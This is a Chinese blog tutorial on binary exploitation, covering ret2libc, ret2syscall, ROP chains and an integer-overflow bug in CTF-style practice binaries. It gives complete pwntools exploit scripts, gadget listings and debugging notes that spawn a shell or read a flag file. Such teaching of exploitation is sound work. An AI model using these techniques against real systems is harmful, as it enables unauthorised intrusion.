欢迎光临散文网 会员登陆 & 注册

二进制安全之栈溢出(下)

2020-04-16 14:13 作者:汇智知了堂  | 我要投稿

程序六 :ret2libc

  • IDA静态分析

int __cdecl main(int argc, const char **argv, const char **envp) {  char s; // [esp+1Ch] [ebp-64h]  setvbuf(stdout, 0, 2, 0);  setvbuf(_bss_start, 0, 1, 0);  puts("RET2LIBC >_<");  gets(&s);  return 0; } .rodata:08048720 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shell↓o .text:08048618 ; __unwind { ==>main函数的地址,用以中转 .text:08048618                 push    ebp .text:08048619                 mov     ebp, esp .text:0804867B                 mov     [esp], eax      ; s ==>设置断点 .text:0804867E                 call    _gets

保护机制

➜  ret2libc1 checksec ret2libc1   [*] '/mnt/hgfs/ctf_debug/stack/ret2libc1/ret2libc1'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)

攻击脚本

from pwn import * context.arch = "i386" context.log_level = "debug" context.terminal = ["tmux","splitw","-h"] if len(sys.argv) < 2: debug  = True else: debug = False if debug: p = process("./ret2libc1") elf = ELF("./ret2libc1") libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") else: p = remote("x.x.x.x",xxxx) elf = ELF("./ret2libc1") libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") def debugf(): gdb.attach(p,"b *0804867B")  # 设置断点到gets之前 debugf() binsh = 0x08048720 puts_plt = elf.plt["puts"] ''' 注意到到当前程序中有puts函数,通过plt表找到puts函数的地址以准备leak puts在libc中的地址 这里不能使用got表,got里面的地址需要call。 ''' puts_got = elf.got["puts"] main_addr = 0x08048618 padding = 0x6c * "a" padding_ebp = 'junk' payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got) ''' main_addr:puts_plt的返回地址 puts_got:puts_plt的参数 ''' p.sendlineafter("RET2LIBC >_<\n",payload) puts_addr = u32(p.recv(4)) log.success("puts_addr : " + hex(puts_addr)) ''' 调用puts函数打印puts函数在libc中的地址 libc的地址为4个字节 ''' libc.address = puts_addr - libc.symbols["puts"] log.success("libc.address : " + hex(libc.address)) system_addr = libc.symbols["system"] ''' libc.symbol["puts"]为puts在libc中的offset 至此载入libc的基址 ''' log.success("system_addr : " + hex(system_addr)) ''' 如果程序本身没有/bin/sh的话 binsh = libc.search("/bin/sh").next() log.success("binsh : " + hex(binsh)) ''' padding = 0x64 * "a" payload = padding + padding_ebp + p32(system_addr) + 'junk' + p32(binsh) ''' 0x64 * "a" : 因为第二次寻址方式为ebp寻址,不用加8 这里的junk为p32(system_addr)的返回地址 ''' p.sendlineafter("RET2LIBC >_<\n",payload) p.interactive()

思路

泄露libc的地址需要使用libc中函数如puts函数的地址减去偏移量获得 调用puts_plt函数将puts_got的地址打印出来,puts_got的地址的地址即是libc中puts的地址 通过第一次溢出获得libc中puts的地址。构造一次循环,返回到main 通过puts的地址计算libc的地址,通过symbols从而得到system的地址 第二次计算padding的大小按照ebp寻址,直接为0×64,因为这时候直接返回到了ESP

调试

finish到main

查看栈布局 stack50



main得返回地址被正确填充为puts



进入got的puts函数,leak出的地址信息,查看当前的栈布局







再次跳转回main函数,发送payload

ebp被正确覆盖为junk,return被正确覆盖为system的地址,system函数的返回地址被覆盖为junk,参数成功覆盖成/bin/sh的地址

攻击脚本2(在程序段无/bin/sh的通用利用方式,向bss段写入/bin/sh)

from pwn import * context.arch = "i386" context.log_level = "debug" context.terminal = ["tmux","splitw","-h"] if len(sys.argv) < 2: debug  = True else: debug = False if debug: p = process("./ret2libc1") elf = ELF("./ret2libc1") libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") else: p = remote("x.x.x.x",xxxx) elf = ELF("./ret2libc1") libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") def debugf(): gdb.attach(p,"b *0804867B") puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] gets_plt = elf.plt["gets"] main_addr = 0x08048618 bss_addr = 0x0804A064 padding = 0x6c * "a" padding_ebp = 'junk' payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendlineafter("RET2LIBC >_<\n",payload) puts_addr = u32(p.recv(4)) log.success("puts_addr : " + hex(puts_addr)) libc.address = puts_addr - libc.symbols["puts"] log.success("libc.address : " + hex(libc.address)) system_addr = libc.symbols["system"] log.success("system_addr : " + hex(system_addr)) padding = 0x64 * "a" payload = padding + padding_ebp + p32(gets_plt) + p32(system_addr) + p32(bss_addr) + p32(bss_addr) p.sendlineafter("RET2LIBC >_<\n",payload) p.send("/bin/sh\n") p.interactive()

思路

寻找一片空闲的bss段区域 .bss:0804A060                                         ; main+9↑r .bss:0804A060                                         ; Alternative name is 'stdout' .bss:0804A060                                         ; Copy of shared data .bss:0804A064 completed_6591  db ?                    ; DATA XREF: __do_global_dtors_aux↑r .bss:0804A064                                         ; __do_global_dtors_aux+14↑w gets_plt用于向紧接着返回地址system_addr之后的p32(bss_addr)写入数据,返回到system_addr,执行最后的p32(bss_addr)

程序七 :ret2syacall & ropchain

对于静态编译程序

➜ speedrun ldd speedrun 不是动态可执行文件

在有栈溢出的时候,优先考虑ropchain的方法。

ret2syacall

  • IDA静态分析

查找字符串 .text:0000000000400B6B lea rdi, aAnyLastWords ; "c" 进入main函数 __int64 sub_400B60() { char buf; // [rsp+0h] [rbp-400h] sub_410390("Any last words?"); sub_4498A0(0, &buf, 0x7D0uLL); return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n"); } 索引到 __int64 sub_400BC1() ==>main函数 { const char *v0; // rdi sub_410590(off_6B97A0, 0LL, 2LL, 0LL);    ==>setbuf v0 = "DEBUG"; if ( !sub_40E790("DEBUG") ) ==>setenv v0 = (const char *)5; sub_400B4D(v0); sub_400B60(); sub_400BAE(); return 0LL; } __int64 sub_400B4D()  ==>puts { return sub_410390("Hello brave new challenger"); } __int64 sub_400B60() ==>printf { char buf; // [rsp+0h] [rbp-400h] sub_410390("Any last words?"); sub_4498A0(0, &buf, 0x7D0uLL); ==>read  ,溢出点 return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n", &buf); ==>手动添加参数buf }

edit – keypatch修改alarm为nop,为了方便调试

根据函数的功能确定函数的类型

思路

设置断点 .text:0000000000400B60 ; __unwind { .text:0000000000400B60                 push    rbp .text:0000000000400B61                 mov     rbp, rsp .text:0000000000400B64                 sub     rsp, 400h .text:0000000000400B6B                 lea     rdi, aAnyLastWords ; "Any last words?" .text:0000000000400B72                 call    sub_410390 .text:0000000000400B77                 lea     rax, [rbp+buf] .text:0000000000400B7E                 mov     edx, 7D0h       ; count .text:0000000000400B83                 mov     rsi, rax        ; buf .text:0000000000400B86                 mov     edi, 0          ; fd .text:0000000000400B8B                 call    sub_4498A0 ==>call read .text:0000000000400B90                 lea     rax, [rbp+buf] .text:0000000000400B97                 mov     rsi, rax        ; char * .text:0000000000400B9A                 lea     rdi, aThisWillBeTheL ; "This will be the last thing that you sa"... .text:0000000000400BA1                 mov     eax, 0 .text:0000000000400BA6                 call    sub_40F710 .text:0000000000400BAB                 nop .text:0000000000400BAC                 leave .text:0000000000400BAD                 retn .text:0000000000400BAD ; } // starts at 400B60 搜索syscall ➜  speedrun ROPgadget --binary speedrun --only 'int'     Gadgets information ============================================================ 0x000000000046817a : int 0x80 Unique gadgets found: 1 寻找rop链 ➜  speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rax 0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret ==pop_rax_rdx_rbx_ret 0x0000000000415664 : pop rax ; ret 0x000000000048cccb : pop rax ; ret 0x22 ➜  speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdx 0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret 0x000000000044be14 : pop rdx ; pop r10 ; ret 0x0000000000481c77 : pop rdx ; pop rbx ; ret 0x000000000044be39 : pop rdx ; pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ➜  speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdi 0x0000000000402615 : pop rdi ; pop rbp ; ret 0x0000000000400686 : pop rdi ; ret ➜  speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rsi 0x000000000044be39 : pop rdx ; pop rsi ; ret 0x0000000000402613 : pop rsi ; pop r15 ; pop rbp ; ret 0x0000000000400684 : pop rsi ; pop r15 ; ret 0x000000000040f95e : pop rsi ; pop rbp ; ret 0x00000000004101f3 : pop rsi ; ret read一个/bin/sh .text:00000000004498A0 ; __unwind { .text:00000000004498A0                 mov     eax, cs:dword_6BC80C .text:00000000004498A6                 test    eax, eax .text:00000000004498A8                 jnz     short loc_4498C0 .text:00000000004498AA                 xor     eax, eax ==>read_addr .text:00000000004498AC                 syscall                 ; LINUX - sys_read .bss:00000000006BB3B2                 db    ? ; ==>binsh_addr .bss:00000000006BB3B3                 db    ? ; .bss:00000000006BB3B4                 db    ? ; .bss:00000000006BB3B5                 db    ? ; 构造rop链 payload = 0x400*'a' + 'junkjunk' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(bss_addr) + p64(pop_rdx_ret) + p64(0x10) + p64(read_addr) payload += p64(pop_rax_rdx_ret) + p64(0x3b) + p64(0) + p64(0) + p64(pop_rdi_ret) + p64(bss_addr) + p

攻击脚本

from pwn import * context.log_level = "debug" context.arch = 'amd64' context.terminal =["tmux","splitw","-h"] if len(sys.argv)<2: debug =True else: debug =False if debug: p =process("./speedrun") else : p = remote("xxxx",xxx) def debugf(): gdb.attach(p,"b * 0x4498E2") # rax 0x3b # rdi /bin/sh # rsi NULL 0 # rdx NULL 0 pop_rax_rdx_rbx_ret = 0x481c76 pop_rdi_ret  =0x400686 pop_rsi_ret  =0x4101f3 #read_addr =0x4498A0 read_addr =0x4498AA syscall=0x46817a bss_addr = 0x6BB3B3 padding = 'a'*0x400 pop_rdx_ret =0x4498b5 #debugf() payload =  padding + "junkjunk" + p64(pop_rdi_ret) + p64(0) +p64(pop_rsi_ret) + p64(bss_addr) +p64(pop_rdx_ret)+p64(0x8) # p64(0) is the para of  p64(pop_rdi_ret),p64(bss_addr) is the para of p64(pop_rsi_ret)... payload += p64(read_addr) + p64(pop_rax_rdx_rbx_ret)+p64(0x3b)+p64(0)+p64(0)+p64(pop_rdi_ret) + p64(bss_addr) +p64(pop_rsi_ret) payload += p64(0)+p64(syscall) p.sendafter("Any last words?\n",payload) p.send("/bin/sh\x00") p.interactive()

调试

read之后的栈布局



ropchain

  • 寻找ropchain

ROPgadget –binary speedrun –ropchain

攻击脚本

from pwn import * if len(sys.argv)<2: debug =True else: debug =False if debug: p =process("./speedrun-001") else : p = remote("xxxx",xxx) def ropchanin(): from struct import pack # Padding goes here p = '' p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e0) # @ .data p += pack('<Q', 0x0000000000415664) # pop rax ; ret p += '/bin//sh' p += pack('<Q', 0x000000000047f471) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000444bc0) # xor rax, rax ; ret p += pack('<Q', 0x000000000047f471) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000400686) # pop rdi ; ret p += pack('<Q', 0x00000000006b90e0) # @ .data p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x00000000004498b5) # pop rdx ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000444bc0) # xor rax, rax ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474e65) # syscall ; ret return p padding = 'a'*0x400 payload = padding + "junkjunk" + ropchanin() p.sendafter("Any last words?\n",payload) p.interactive()

程序八 :整型溢出

  • IDA静态分析

int __cdecl main() {  int v1; // [esp+Ch] [ebp-Ch]  setbuf(stdin, 0);  setbuf(stdout, 0);  setbuf(stderr, 0);  puts("---------------------");  puts("~~ Welcome to CTF! ~~");  puts("       1.Login       ");  puts("       2.Exit        ");  puts("---------------------");  printf("Your choice:");  __isoc99_scanf("%d", &v1);  if ( v1 == 1 )  {    login();  }  else  {    if ( v1 == 2 )    {      puts("Bye~");      exit(0);    }    puts("Invalid Choice!");  }  return 0; } int login() {  char buf; // [esp+0h] [ebp-228h]  char s; // [esp+200h] [ebp-28h]  memset(&s, 0, 0x20u);  memset(&buf, 0, 0x200u);  puts("Please input your username:");  read(0, &s, 0x19u);  printf("Hello %s\n", &s);  puts("Please input your passwd:");  read(0, &buf, 0x199u);  return check(&buf); } char *__cdecl check(char *s) {  char *result; // eax  char dest; // [esp+4h] [ebp-14h]  unsigned __int8 v3; // [esp+Fh] [ebp] v3的大小为8位1个字节  v3 = strlen(s);  //控制s为259 ==> 0x104 ==> v3=4 (v3只取s长度的最低位)  if ( v3 <= 3u || v3 > 8u )  {    puts("Invalid Password");    result = (char *)fflush(stdout);  }  else  {    puts("Success");    fflush(stdout);    result = strcpy(&dest, s); //通过s覆盖dest ---> 覆盖返回值地址  }  return result; }

查看保护机制

➜  login checksec login     [*] '/mnt/hgfs/ctf_debug/stack/login/login'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)

  • 可构造rop链

  • 但是转而发现程序中提供了更简单的cat flag 函数

int sub_804868B() {  return system("cat flag"); } .text:0804868B sub_804868B     proc near .text:0804868B ; __unwind { .text:0804868B                 push    ebp .text:0804868C                 mov     ebp, esp .text:0804868E                 sub     esp, 8 .text:08048691                 sub     esp, 0Ch .text:08048694                 push    offset command  ; "cat flag" .text:08048699                 call    _system .text:0804869E                 add     esp, 10h .text:080486A1                 nop .text:080486A2                 leave .text:080486A3                 retn .text:080486A3 ; } // starts at 804868B

设置断点

.text:080486AD                 push    [ebp+s]         ; s .text:080486B0                 call    _strlen .text:080486B5                 add     esp, 10h .text:080486B8                 mov     [ebp+var_9], al ==>设置断点 .text:080486BB                 cmp     [ebp+var_9], 3

攻击脚本

from pwn import * context.arch='i386' context.log_level = "debug" context.terminal =["tmux","splitw","-h"] if len(sys.argv)<2:    debug =True else:    debug=False     if debug:    p=process("./login")    elf =ELF("./login")    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") else :    p=remote("Xxx.xxx.xxx.xx",xxx)    elf =ELF("./login")    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")     def login(username,passwd):    p.sendlineafter("Your choice:","1")    p.sendlineafter("Please input your username:\n",username)    p.sendlineafter("Please input your passwd:\n",passwd) def debugf():    gdb.attach(p,"b * 0x80486B8")     debugf() cat_flag = 0x804868B offset = 0x100+0x4 payload = 'a'*0x14 + 'junk' + p32(cat_flag) payload = payload.ljust(offset,"a") login("chandler",payload)print p.recvall()

这篇文章有点长啊,能看到这儿,知了姐先给你点个赞!希望大家都能坚持学习,为梦想前进!


二进制安全之栈溢出(下)的评论 (共 条)

分享到微博请遵守国家法律